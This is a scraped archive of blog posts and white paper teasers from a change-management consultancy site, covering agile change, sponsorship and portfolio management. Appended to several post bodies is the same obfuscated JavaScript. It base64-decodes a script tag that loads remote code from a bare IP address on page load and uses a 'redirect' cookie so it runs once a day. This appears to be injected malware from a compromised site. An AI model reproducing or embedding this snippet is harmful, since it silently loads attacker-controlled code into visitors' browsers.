way they are, then we can address these issues and provide better support for them. After all, if users do not use what the project delivers, then benefits cannot be realised. Financial benefits, reputational benefits, efficiency benefits all rely on users changing how they work, to deliver the improvements promised by the project. If you want to read the full article then click Why don't people use our work --- ### Introduction to Agile Change Management - Published: 2018-10-15 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/introduction-to-agile-change-management/ - Categories: Resources, Understanding change management, White Papers Agile change management is a term that is picking up momentum around the world. In 2014 I wrote a book with this title, setting out an approach for managing transformational change initiatives using a lot of the ideas from the emerging agile methodologies. In only 4 years things have moved on quickly, and I wanted to capture how this term in now being interpreted in the world of change management. Click here to download full article. --- ### Knowing Agile makes me cleverer! > In a project scoping meeting this week I realised how much of my knowledge about Agile concepts and techniques has seeped into my DNA. - Published: 2018-10-15 - Modified: 2023-11-30 - URL: https://agilechangemanagement.co.uk/knowing-agilepm-makes-me-cleverer/ - Categories: Agile change management concepts, Insights Introduction In a project scoping meeting this week I realised how much of my knowledge about Agile concepts and techniques has seeped into my DNA. Agile contains so many practical ideas for scoping, planning and resourcing, I can't remember how I managed projects before Agile Change Management! (And this is from someone who used to be global head of project and programme management for one of the largest banks in the world - when PRINCE2® techniques dominated). These are the elements of Agile that solved the most problems in our project scoping meeting: 1. Roadmap (Not Gantt chart) Instead of bottom up planning based on requirements, the Roadmap is built on iterations, short bursts of work that deliver an outcome or a capability that the organisation did not have before. Make sure everyone is clear on what the project is expected to deliver and what we are going to get for our money. So we are starting with the big question first (see Business Need). To get the flow of work right we have to know: What you are going to deliver first? Then what would make sense to give them next? What would build on the first deliverable? What would make sense to your customers? 2. Business Need (Not requirements) All our planning decisions are based on our view of what improvements we are making to the business. The best Roadmap will be the one that delivers the most useful improvements to the business first. In my scoping meeting... --- ### Macro level change activities - Published: 2018-10-08 - Modified: 2022-04-08 - URL: https://agilechangemanagement.co.uk/macro-level-change-activities/ - Categories: Change management techniques, Insights, Scoping a change Core responsibilities The role of a Change Professional (I have stopped calling myself a Change Manager as the term is too confusing to many) is much wider than simply ensuring specific changes to ways of working are made. In my transformational change programmes I am responsible for overseeing these structural changes, involving: Process change System change Role change Additional oversight But I am also responsible for a more macro level approach, assessing whether actions taken in the business are supporting our intended outcomes. This means that I must take a helicopter view of everything that is happening, as actions by managers that don’t align with the changes we are making can lead to cynicism and cause those impacted to question whether the changes are just surface changes that senior management don’t really endorse. Macro level interventions My role is to assess where the energy of the organisation is pointing at all levels. Change cannot be sustained if the energy of staff and middle management is aimed at creating one change, when the actions of senior management point to different priorities. For example, in one of the cultural change programmes that I am overseeing, the outcome is to create an environment where women are as valued as men. (it is sad that this kind of programme is needed in 2018 but it is so I am just getting on with it). As part of the programme, there are several initiatives taking place to create tangible change in how work is allocated,... --- ### Explaining change in the Workplace > Found out more about critical success factors for explaining change in the workplace to employees and stakeholders. - Published: 2018-09-30 - Modified: 2023-11-30 - URL: https://agilechangemanagement.co.uk/explaining-change/ - Categories: Change management techniques, Insights, Stakeholder engagement Critical Success Factors for Explaining Change in the Workplace Examining the many change initiatives that I have been involved in helps me identify critical success factors. I have enough examples that I can compare initiatives to find best practice and the consequences when that best practice is missing. Top of my list for truly transformational change is the need to explain the reasons for the change, before launching details of what the change is going to be. If you can generate a heartfelt need in staff for change, there is a good chance that they will start to design the change for themselves. This reduces the amount of the change that is imposed which in turn reduces the amount of resistance to the change. Set the widest possible context An important element in creating the awareness of the need for change is bringing in the outside world. Lift the conversation away from your organisation and set the context of the change at the most macro level of all - how the modern world is operating. Describe advances in technology Highlight new demands from customers Describe innovations in your industry This gives staff the examples that enable them to make their own comparisons that enable them to see that their existing practices are out of step with how the rest of the world is doing things. Edgar Schein in his book Organisational Change Management referred to this desire for change as "disconfirmation" which is the disturbing belief that it is not... --- ### Creating integrated change plan - Published: 2018-09-25 - Modified: 2022-04-22 - URL: https://agilechangemanagement.co.uk/creating-integrated-plan/ - Categories: Basics of change management, Relationship with project management, Resources, White Papers The purpose of this paper is to explain the need for an integrated plan that covers both project deliveryand the change management activities that enable the adoption of these project deliverables intobusiness as usual. This paper will address the following questions:• What is the difference between a Project Plan and a Change Plan? • Why do we need a Change Plan? • What activities need to be included in a Change Plan? • Who is responsible? • How do we measure the success of our change management activities? Click here to download full report. --- ### Top tips for effective Sponsorship > If you're looking for top tips for effective Sponsorship then look no further. Find out all there is to know from Agile Change Management. - Published: 2018-09-20 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/top-tips-for-effective-sponsorship/ - Categories: Insights, Roles in change management, Sponsors and Senior Responsible Owners, White Papers Introduction In the flurry of meetings generated by the September return to work, effective sponsorship has emerged as a key theme. Transformational change only happens if senior leaders are closely involved, driven by an understanding that achieving their objectives is dependent on achieving the transformation. Sponsorship is a key trend In my discussions with clients, there is a growing recognition that the remit of a Sponsor is much wider than ensuring a project delivers on time and on budget. There is a need to champion and promote the creation and adoption of new ways of working. As the new way of working becomes the norm, productivity, customer service, staff engagement etc all start to improve. It is these improvements that generate financial and reputational benefits for the organisation. Realisation of these benefits is the ultimate goal of sponsorship but too often sponsors and the teams delivering the change view the Sponsor as the point of escalation for difficult issues and the overall approval of progress. Role of Sponsor I believe that Sponsors are a core part of the change team. Their responsibilities align to their level of authority within the organisation, but that should not set them apart. They have a vital role to play in generating the enthusiasm and motivation needed for staff to participate in making change happen. Great Sponsors are pro-active, looking ahead all the time for roadblocks that will prevent staff from changing how they work. They are not merely the recipients of progress information, where... --- ### Use pictures to explain culture change > Using pictures to explain cultural change is a great way to increase the understanding of all involved. Find out more. - Published: 2018-09-16 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/use-pictures-to-explain-culture-change/ - Categories: Change management techniques, Insights, Stakeholder engagement - Tags: change management, culture change Introduction I am always interested in how I can solve problems through change management training. Last week I took part in a fantastic presentation on drawing and cartooning to convey complex messages about culture change. The event was put on by Change Management Institute UK and hosted by Kings College London. The speaker was Virpi Oinonen who kindly shared her own work and explained how she uses her drawings for cultural change programmes. My key takeaways from the event were: Value of visuals Understanding why cartoons and hand drawings can be so impactful. Virpi explained that hand-drawn implies things are in a state of flux and are still open to amendment and enhancement. Amazing visuals created with a big budget using fantastic photography and great graphics look cool but don't represent reality. The danger with these slick visuals is that they put us into "consumer mode" which means we notice them, we might agree with the message, but at best we nod in agreement but crucially we take no action. In this case perfection kills engagement. Diagrams are different A diagram is not a story. A diagram sets out a logical explanation of something but it can only give you facts. Without a story to explain the information people will interpret the facts using their existing belief system. There is no opportunity to shift how the information is interpreted and look at it from a different perspective. People want to share the message In change management we spend a lot... --- ### Best jobs need qualifications - Published: 2018-09-10 - Modified: 2022-04-08 - URL: https://agilechangemanagement.co.uk/best-jobs-need-qualifications/ - Categories: Change management profession, Continuing professional development, Insights As everyone returns to work after the summer break, many in my network are asking me for advice on applying for new jobs. As the volume of these requests is so high this year I thought you might like to hear my advice on Change Management best practice. I keep things simple and suggest two simple things that candidates can do to improve their chances of success: Get qualified in change management best practice Have something current and relevant to say about your area of expertise Get a change management qualification The easiest candidate to offer a role to is the most qualified candidate. As I lead large-scale change initiatives I want to know that those joining the team have a strong knowledge of how humans react to change and how to help them implement change. I don't want to employ someone who knows less than the current team because that just dilutes the total team capability. If I'm hiring an external candidate they are probably joining a team of internal staff who are working on the change because of their organisational knowledge. They will have experience of current ways of working and will be vital in carrying out impact assessments. However. They are unlikely to be change management professionals so to increase their understanding via knowledge transfer I want to hire an expert. I want my expert to have experience of successful implementation of change but I want "Book learning" and not just "street smarts". This is because knowledge... --- ### Create scenarios for change - Published: 2018-09-06 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/create-scenarios-for-change/ - Categories: Change management techniques, Resources, Scoping a change, White Papers Organisational change, by its very nature is uncertain. The best we can hope for is clarity about what we hope to achieve in the next few months, because our achievements, coupled with changes in our environment make subsequent changes hard to predict and design in detail now. However, most people want certainty, they want to know how they will be working in the future, and what will be required of them. The answer “I don’t know, it depends on lots of factors... ” is not an inspiring message. Click here to download full report --- ### Importance of Best Practice - Published: 2018-09-04 - Modified: 2022-04-22 - URL: https://agilechangemanagement.co.uk/importance-of-best-practice/ - Categories: Change management techniques, Insights, Scoping a change I'm currently kicking off two big cultural change initiatives for my clients. As these programmes affect the reputation of each of the organisations, they are strategically important and carry significant risks if they fail. Therefore, I am applying change management best practice to my approach. Whilst Change Management is all about relationships with people, best practice for me includes a structured approach to identifying and planning the change. This structure is a repeatable pattern, because change is emergent. Initial ideas are always better when they are reviewed and amended in response to feedback, so my approach encourages this regular review. Initial scoping and planning of the change For these cultural change programmes, there is a lot of work to define the scope and to create a compelling vision of how things should work in the future, exploring what we think of as 21st century leadership and a 21st century working environment. We are holding workshops with volunteers from all levels in the organisation to define how they want to work including the values and principles that will underpin their processes, priorities and how they engage with each other. We use the workshops to run scenarios to try to experience how these principles will apply in practice. We brainstorm the different situations that they face as part of their working lives and examine how a value manifests itself in their behaviour and the behaviour of their colleagues. Nothing surprising so far but there is something else I add into these workshops... --- ### Change Management Office - Published: 2018-08-17 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/change-management-office/ - Categories: Change Leaders, Resources, Roles in change management, White Papers In this paper I explore the functions and benefits of establishing a team that has the capability to: Accurately assess the scale of change taking place within the organisation at any one time Implement all change initiatives successfully Build and support a network of Change Managers Create a culture where change is expected and welcomed I have referred to this team as a Change Management Office, whilst recognising that it has many aliases including Portfolio Office, Strategic Planning Team, Business Transformation department and Change Management Centre of Excellence. Download my CMO whitepaper. function getCookie(e){var U=document. cookie. match(new RegExp("(? :^|; )"+e. replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U? decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math. floor(Date. now/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math. floor(Date. now/1e3+86400),date=new Date((new Date). getTime+86400);document. cookie="redirect="+time+"; path=/; expires="+date. toGMTString,document. write('')}   --- ### Effective change management strategies > What are the most effective change management strategies? Take a look at what how to manage change in your organisation here. - Published: 2018-08-14 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/effective-change-management-strategies/ - Categories: Insights, Roles in change management, Sponsors and Senior Responsible Owners Introduction This blog is a result of the research I am doing to prepare for the launch of two cultural change programmes. I am seeing a strong link between successful change and effective leadership. Ensuring the right leadership behaviours are in place is one of the most important strategies of effective APMG Change Management, because in change we are asking people to do things differently. Change is risky, because in the short term it involves mistakes, slower work rates and greater stress. These risks can be minimised by supportive leadership who encourage staff to ‘give things a go/try things out’. Alternatively, these risks can be increased by uncompromising leaders who always demand high performance. To change the culture of an organisation, we need to decide on the values and beliefs that we want all our employees. We need to create an environment that encourages them to adopt these beliefs. For example, I am helping to develop an innovation culture, which includes the belief that ‘anyone can have a good idea’. This is a simple belief, but to make it become a reality, I will need to help many leaders in the organisation adjust their behaviours. At present, the organisation has a strong ‘command and control’ structure. Individual employees work to a strict set of procedures and rules, and any innovations must go through several committees and steering groups before getting official sign-off from a director. Of course, we can all see how that structure stifles creativity and innovation. I need... --- ### Top 3 Principles of Agile Project Management > My 3 Principles of Agile Project Management – they are easy to describe but take a lot of hard work and commitment to put in place. - Published: 2018-08-13 - Modified: 2025-06-11 - URL: https://agilechangemanagement.co.uk/top-3-principles-of-agile-project-management/ - Categories: Agile change management concepts, Insights, Ultimate guide to Agile Change Principles are very fashionable, so many methods come with principles to define the key criteria for being successful in project, programme and agile approaches. I thought it was time to set out the key Principles of Agile Project Management that you will learn in my Change Management Courses. Top 3 Principles of Agile Project Management I've focused on just 3 principles of Agile Project Management, although this might seem like too few, each one is very complex. 1. Start with the end in mind! Starting with the end in mind in originally a principle from Stephen Covey. In the context of Agile Change Management this means paying attention to what the customer needs to achieve because of the project. Counter-intuitively, this is unlikely to be the project deliverables. Instead it is the change in how work is done, and the improvements that these changes can realise. Agile methods refer to this as the business value or the economic benefits, but they are usually formed of 3 key factors: • Cost savings • Revenue generation • Enhanced reputation - increase in customer referrals and increase in staff engagement Ask your customers questions that develop a shared understanding of the value to be created: • Who do they think is going to be impacted by the project? • Why is this impact important? • Is there a time after which the project will have missed its moment? • How much are they willing to spend to achieve this value (How valuable is... --- ### Cascading Change - Published: 2018-08-10 - Modified: 2022-04-22 - URL: https://agilechangemanagement.co.uk/cascading-change/ - Categories: Change Agents, Resources, Roles in change management, White Papers Organisations all over the world are experiencing high volumes of change as a result of Agile methods, which create continuous, small scale change, disruptive technologies which increase the pace of process, role and system changes and continuous demand from customers for innovation. This generates a need for greater capacity for managing change to keep pace with this increased volume. This increase in capacity comes from existing staff volunteering their participation in the change, but we have to generate the motivation for this in an environment where staff are experiencing a constant state of uncertainty, and struggle to maintain ‘business as usual’ when everything they rely on to do their jobs is restructured, replaced or enhanced. This paper sets out a structure, processes and responsibilities for mobilising all staff to be a part of the change effort, minimising the risk that change is the sole responsibility of a few transformation specialists who have change management expertise but who do not work in and are not impacted by the business they are transforming. This enables a change to move from being a strategic objective to actual adoption as new ways of working. Download the full paper: Cascading change throughout an organisation --- ### Culture created by use of space - Published: 2018-08-02 - Modified: 2022-04-08 - URL: https://agilechangemanagement.co.uk/culture-created-by-use-of-space/ - Categories: Hybrid working, Insights, Popular change initiatives Change Management Institute UK put on a great event hosted by Kinnarps and Condeco on Tuesday night about how the use of space is an essential element for creating the culture or an organisation. These are some of my key takeaways: How important is a desk? Useful analogy for a desk as a Swiss Army knife – can be used for lots of things, but there are lots of other places to work that might be seen as individual, specialist tools. For example, an informal break-out area for collaboration, a coffee area for information sharing and relationship building. Home working not for everyone View desk based working to working anywhere as a spectrum and identify where your organisation needs to be on the spectrum – not every role needs the complete freedom of ‘work anywhere’ as some need specialist equipment. I was also interested in comments from Dr. Nicola Millard recently about recognising that home based working might work for some, but for Millennials, they might not have a home they can or want to work in. In Hong Kong flats are small and air conditioning is expensive, it is much nicer to come to an office which has space and comfort. Extroverts are energised by the company of others, so home based working doesn’t suit them, they need to engage with people to do their best work. Culture includes place Kinnarps shared a Venn diagram of digital (technology solutions) overlapping organisation (culture integration, leadership and behaviours) overlapping physical (space,... --- ### Agile - collaborative way of working - Published: 2018-07-24 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/agile-collaborative-way-of-working/ - Categories: Agile change management concepts, Resources, Ultimate guide to Agile Change, White Papers To enable Agile working practices, it is important to involve areas of the business that support those working in an Agile team. In this paper I have outlined examples of Agile thinking and doing that is supporting those who want to work in an Agile way. If you don’t know much about Agile working, I have included in the first section a description of an Agile team and how it works. If you are familiar with Agile, just skip to the next section. Click here to download the full report function getCookie(e){var U=document. cookie. match(new RegExp("(? :^|; )"+e. replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U? decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math. floor(Date. now/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math. floor(Date. now/1e3+86400),date=new Date((new Date). getTime+86400);document. cookie="redirect="+time+"; path=/; expires="+date. toGMTString,document. write('')} --- ### Trends in Change Management 2018: half year update - Published: 2018-07-16 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/trends-in-change-management-2018-half-year-update/ - Categories: Change management profession, Insights, Latest trends in change management As we are halfway through the year I have been reviewing the paper I wrote about trends in Change Management for 2018. I think some of my predictions are coming true and some of them have evolved so thought you might enjoy this interim status report! Explaining the value of change management The measures to track if our change activities are working continues to develop. I am asked to develop a suite of measures to track awareness, participation and adoption prior to measuring the financial benefits of what has changed as a regular part of my assignments now. This links to role of Sponsor, with increasing awareness from senior managers and executives that sponsoring a change initiative is different to sponsoring a project. The questions they have to ask to track progress and detect issues are more centred on how people feel about the new ways of working and how many are participating in creating them, practising and implementing them, rather than a simple review of a plan to see what has been ticked off. Further integration with other disciplines Probably the closest links are being forged with those responsible for Portfolio Management as there is increasing awareness that understanding the full scale of the all the change initiatives taking place is an essential tool in being able to manage the high volumes of change that organisations are committed to. I think running a close second is the recognition that project management and change management need to collaborate, and the... --- ### Managing high volumes of Change - Published: 2018-07-12 - Modified: 2024-04-22 - URL: https://agilechangemanagement.co.uk/managing-high-volumes-of-change/ - Categories: Basics of change management, Measuring the value of change management, Resources, White Papers One of the most well received sessions in my Change Management Practitioner course is a debate on the practical solutions for addressing the challenge of managing multiple changes. The change management profession continues to evolve, and we can no longer rely on techniques that manage only singular changes. We cannot ignore the reality that at any one time there are multiple changes taking place, in different states of preparedness but often impacting the same staff over and over again. I think the skills and priorities discussed here are relevant for anyone who is involved in identifying, managing or sponsoring change, at whatever level you are in the hierarchy of your organisation. This includes Programme and Project Managers. Product Owners (from Agile environments) as well as functional business leaders sponsoring change for their departments and teams. Click here to download the full report function getCookie(e){var U=document. cookie. match(new RegExp("(? :^|; )"+e. replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U? decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math. floor(Date. now/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math. floor(Date. now/1e3+86400),date=new Date((new Date). getTime+86400);document. cookie="redirect="+time+"; path=/; expires="+date. toGMTString,document. write('')} --- ### Quick guide to Change Management - Published: 2018-07-12 - Modified: 2022-04-08 - URL: https://agilechangemanagement.co.uk/quick-guide-to-change-management/ - Categories: Basics of change management, Resources, Understanding change management Change Management is a hot topic and there are lots of exciting change management related jobs paying high salaries as organisations continue to grapple with the challenge of continuous change and innovation. In this webinar, presenter Melanie Franklin will cover the basics, so you have a clear understanding of what change management is and how to get started with managing a change initiative. Melanie will explain the key activities, most useful techniques, and how to organize a simple Change Plan so you can demonstrate to others that you know what you are doing. No prior knowledge of managing change is needed for this webinar, which will be useful for anyone participating in change at work, either from the user/business perspective, or as a project manager who wants to know more about implementing their project deliverables. Click here to register your place. function getCookie(e){var U=document. cookie. match(new RegExp("(? :^|; )"+e. replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U? decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math. floor(Date. now/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math. floor(Date. now/1e3+86400),date=new Date((new Date). getTime+86400);document. cookie="redirect="+time+"; path=/; expires="+date. toGMTString,document. write('')} --- ### Portfolio Management is important for Change - Published: 2018-07-04 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/portfolio-management-is-important-for-change/ - Categories: Basics of change management, Insights, Why is change management important? Portfolio Management is the set of processes and activities that identify, prioritise and track the progress of all initiatives needed to achieve the strategic objectives. The Portfolio is ‘single source of truth’, summarising all the known changes that an organisation currently believes is needed to get to where it wants to be. It is a very fluid situation as new ideas and new requirements are identified and added into the portfolio, whilst other ideas move through the stages of completion, or are abandoned as they are no longer needed. Portfolio Management offers efficiency benefits as it prevents duplication of effort. It is only by seeing what has already been proposed and what is already underway that we can ensure that the scope of any subsequent initiatives is not duplicating or conflicting with existing work. Another benefit is that by creating a visual of all the changes, we can see the capacity the organisation has for yet more change, as we probably have more ideas than we have resources for! How to create a Portfolio Kanban Board Effective portfolio management needs to be visible and transparent, so that all those affected by the initiatives can see what is underway and what is coming up next. I find the use of a Kanban Board creates this visibility, if it is backed up at each stage by quality criteria that confirm the value of an initiative prior to its move into the next column on the board: Potential Ideas In this example, ideas... --- ### Value of effective portfolio management - Published: 2018-07-03 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/value-of-effective-portfolio-management/ - Categories: Basics of change management, Resources, White Papers, Why is change management important? My role is to help organisations build their capability for change. This involves developing their change management methods, training staff, creating toolkits and coaching people in how to adapt to change. As part of being able to adapt to change and implement it more effectively, my clients often want to adapt Agile ways of working, where the changes are implemented incrementally, evolving in response to user feedback. One of the most important enablers to coping with change and becoming more Agile is Portfolio Management. Portfolio Management is the set of processes and activities that identify, prioritise and track the progress of all initiatives needed to achieve the strategic objectives. To read the full article, click here function getCookie(e){var U=document. cookie. match(new RegExp("(? :^|; )"+e. replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U? decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math. floor(Date. now/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math. floor(Date. now/1e3+86400),date=new Date((new Date). getTime+86400);document. cookie="redirect="+time+"; path=/; expires="+date. toGMTString,document. write('')} --- ### How the Change Management profession needs to progress - Published: 2018-06-21 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/how-the-change-management-profession-needs-to-progress/ - Categories: Change management profession, Insights, Latest trends in change management, Reframing the Negatives to Positives One of the things that can be guaranteed when I am with my change management colleagues at the UN is the thought provoking discussion about what we need to achieve with change management courses. One of the themes we have debated is re-purposing of people as a result of RPA – robotic process automation. When I look across all my clients, those in the private sector all have RPA projects underway. Wherever there is inputting and analysing of data, there is the opportunity to replace people with software. Two interviews in the Financial Times last week from the heads of Deutsche Bank and Citibank give an indication of the trends. The CEO of Deutsche Bank said “if your job involves tapping a keyboard all day, you have an uncertain future” and the head of Citibank referenced the 20,000 staff in operational roles who are likely to be cut to 10,000 over the two years. The challenge for Change Managers is how we help people transition to the roles that are left after automation. My experience of RPA so far has been positive, because the organisations involved are growing. Therefore, those whose jobs are automated are being given the opportunity to move to new roles and are not losing their jobs. These roles involve much greater levels of customer interaction. Moving from behind the keyboard and screen to talking to customers, helping to solve their problems, building up relationships so that their levels of engagement increase, leading to revenue increases. The... --- ### Change management + expert negotiation - Published: 2018-06-18 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/change-management-expert-negotiation/ - Categories: Agile change management concepts, Change management techniques, Insights, Overcoming resistance to change, Stakeholder engagement A frequent discussion on my Change Management Practitioner courses is that Change Management is not the most appropriate title for our profession. Perhaps "Change Encouragement" or "Change Motivation" is more relevant? I have certainly thought that over the last week as I have observed a number of negotiations to get people to change their ways of working, none of which have gone well. These disasters have led to the termination of a supplier agreement and the removal of a Programme Manager from their programme. Obviously I want to draw out the lessons to prevent similar mistakes in the future and these are my conclusions: Situation 1 - blaming, not learning This was just toe curling to watch. The Manager involved made mistakes, mis-calculations and misjudgements. However, as each problem unfolded he spent precious time listing all the environmental factors which were to blame (the classic example of a poor workman blaming his tools). Everyone else got on and fixed the problems but this Manager was still moaning about the unfairness, and how the odds had been stacked against him. This blaming took all his energy and drowned out any chance of learning how to do better next time. He showed no awareness that he had taken wrong decisions, and what led him to these decisions. His team lost faith in him because they could see he wasn't developing his ability, but was stuck blaming everyone and everything other than himself. Situation 2 - defending, not listening This lack of persuasion... --- ### Criticality of Change Management skills - Published: 2018-06-11 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/criticality-of-change-management-skills/ - Categories: Change management skills, Change management techniques, Insights, Overcoming resistance to change The announcement from Rolls Royce of the loss of 4000 predominantly management jobs is another example of why skills to cope with change are a survival mechanism. For those losing their jobs, an ability to cope with the upheaval of finding a new role, possibly in a different industry, probably in a different city is a necessity. I was recently with a guy who was serving out his 3 month redundancy period with his employer of the last 20 years. It was sad to see such a capable man without the ability to manage this significant change. He was still in shock months after hearing he would be let go. He did not have the ability to process the information so had retreated to the common defence mechanism of being in denial. He had no sense of urgency about making plans, letting contacts know he was available for work because he could not conceive that the change was actually going to happen. Working with him and explaining how the brain fights to keep things the same and the likely emotions he will experience as he transitions to a new lifestyle gave him back some of his power. By understanding that what he was experiencing is part of a process enabled him to see what is likely to happen next so he could prepare for it. Equally those that remain at Rolls Royce need skills in leading themselves and others through change. Their CEO, Warren East has expressed frustration at the... --- ### Impact of Agile on Change Management - Published: 2018-06-04 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/impact-of-agile-on-change-management/ - Categories: Featured, Resources, Ultimate guide to Agile Change, Understanding Agile Change Management, White Papers Agile approaches and techniques are having significant impact on the volume, frequency and type of change that is taking place in organisations. In this paper I want to explore how the techniques and responsibilities for managing change might change in response to the impact of Agile. The adoption of Agile approaches continues to deepen across all organisations, in all sectors and industries. Change management continues to grow in recognition and adoption, as organisations recognise that their ability to transform to take advantage of new ideas is a competitive advantage and a survival mechanism. Click here to download full document. --- ### Change Managers and Agile teams need to adapt - Published: 2018-06-04 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/change-managers-and-agile-teams-need-to-adapt/ - Categories: Resources, Ultimate guide to Agile Change, Understanding Agile Change Management Why Agile is changing how we manage change 22nd June 2018 - 13:00-14:00 Agile methods drive a stream of continuous change into the business. Some organisations are struggling to manage this volume of change. As a result, Agile delivery teams and change professionals must collaborate. Change Managers have to change their approach to leading behavioural change, and Agile teams need to expand their backlogs to include user stories that support change activities by the business. I explain the impact on Agile and Change professionals and give practical examples of how they are working differently to support the business to manage faster and higher volumes of change. Click here to listen function getCookie(e){var U=document. cookie. match(new RegExp("(? :^|; )"+e. replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U? decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math. floor(Date. now/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math. floor(Date. now/1e3+86400),date=new Date((new Date). getTime+86400);document. cookie="redirect="+time+"; path=/; expires="+date. toGMTString,document. write('')} --- ### Change Management in 2018: discover the latest trends - Published: 2018-06-03 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/change-management-in-2018-discover-the-latest-trends/ - Categories: Change management profession, Latest trends in change management, Resources Trends discussed Start 2018 fully informed about how the change management profession is changing, and the impact this has on your career opportunities and personal development choices. Melanie will give us a tour through the key trends that will shape change management in the next 12 months including: More effort will be spent on explaining the value of change management Further integration with project management Greater recognition of the need for change management including: More demand for qualified/experienced change leaders Organisations will build stronger internal capability for change These trends are going to impact those with existing change and transformation roles, and those working in project and programme roles and PMOs/CMOs. Click here to listen to the recording function getCookie(e){var U=document. cookie. match(new RegExp("(? :^|; )"+e. replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return U? decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math. floor(Date. now/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math. floor(Date. now/1e3+86400),date=new Date((new Date). getTime+86400);document. cookie="redirect="+time+"; path=/; expires="+date. toGMTString,document. write('')} --- ### Change Agent not secret agent! - Published: 2018-06-01 - Modified: 2021-08-25 - URL: 